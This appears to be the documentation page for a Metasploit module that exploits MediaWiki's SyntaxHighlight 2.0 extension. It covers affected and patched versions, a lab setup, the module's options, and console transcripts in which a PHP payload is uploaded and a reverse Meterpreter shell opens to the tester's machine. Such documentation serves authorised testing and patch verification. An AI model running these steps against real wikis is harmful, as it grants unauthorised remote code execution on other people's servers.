h00die
79 lines
3.2 KiB
Markdown
79 lines
3.2 KiB
Markdown
## Vulnerable Application
|
|
|
|
Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x.
|
|
A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.
|
|
|
|
## Vulnerable Setup
|
|
|
|
To set up the vulnerable environment, please do:
|
|
|
|
1. Download [MediaWiki (such as 1.28.0)](https://releases.wikimedia.org/mediawiki/1.28/mediawiki-1.28.0.tar.gz)
|
|
2. Install MediaWiki on a LAMP setup (ideally)
|
|
3. Install composer ```curl -sS https://getcomposer.org/installer | sudo php -- --install-dir=/usr/local/bin --filename=composer```
|
|
4. Do: ```cd /var/www/html/mediawiki/extensions/SyntaxHighlight_GeSHi```
|
|
5. Do: ```composer update```
|
|
6. Open your LocalSettings.php with a text editor, and add this line at the end of the file: ```wfLoadExtension( 'SyntaxHighlight_GeSHi' );```
|
|
|
|
At this point, you are ready to test this setup.
|
|
|
|
## Verification Steps
|
|
|
|
1. `use exploit/multi/http/mediawiki_syntaxhighlight`
|
|
2. `set RHOST [ip target site]`
|
|
3. `set TARGETURI [MediaWiki path]`
|
|
4. `set UPLOADPATH [writable path in web root]`
|
|
5. optionally set `RPORT`, `SSL`, and `VHOST`
|
|
6. `exploit`
|
|
7. **Verify** a new Meterpreter session is started
|
|
|
|
## Options
|
|
|
|
**TARGETURI**
|
|
|
|
The MediaWiki base path, the URL path on which MediaWiki is exposed. This is normally `/mediawiki`, `/wiki`, or `/w`.
|
|
|
|
**UPLOADPATH**
|
|
|
|
Folder name where MediaWiki stores the uploads, make sure to use a relative path here. For a regular installation this is the `images` folder. This folder needs to be writable by MediaWiki and accessible from the web root. The exploit will try to create a PHP file in this location that will later be called through the web server.
|
|
|
|
**CLEANUP**
|
|
|
|
Set this to true (the default) to unlink the PHP file created by this exploit module. The cleanup code will only be called when the exploit is successful.
|
|
|
|
**USERNAME**
|
|
|
|
In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the username of that account here.
|
|
|
|
**PASSWORD**
|
|
|
|
In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the password of that account here.
|
|
|
|
## Scenarios
|
|
|
|
### The Check command
|
|
|
|
The module comes with a check command that allows you to check whether the target might be
|
|
vulnerable or not, for example:
|
|
|
|
```
|
|
msf exploit(mediawiki_syntaxhighlight) > check
|
|
[*] 192.168.146.203:80 The target appears to be vulnerable.
|
|
```
|
|
|
|
### MediaWiki 1.27.1-2 on Ubuntu 16.10
|
|
|
|
```
|
|
msf > use exploit/multi/http/mediawiki_syntaxhighlight
|
|
msf exploit(mediawiki_syntaxhighlight) > set RHOST 192.168.146.137
|
|
RHOST => 192.168.146.137
|
|
msf exploit(mediawiki_syntaxhighlight) > set TARGETURI /mediawiki
|
|
TARGETURI => /mediawiki
|
|
msf exploit(mediawiki_syntaxhighlight) > exploit
|
|
|
|
[*] Started reverse TCP handler on 192.168.146.197:4444
|
|
[*] Local PHP file: images/bwpqtiqgmeydivskjcjltnldb.php
|
|
[*] Trying to run /mediawiki/images/bwpqtiqgmeydivskjcjltnldb.php
|
|
[*] Sending stage (33986 bytes) to 192.168.146.137
|
|
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.137:55768) at 2017-04-29 14:27:03 +0200
|
|
```
|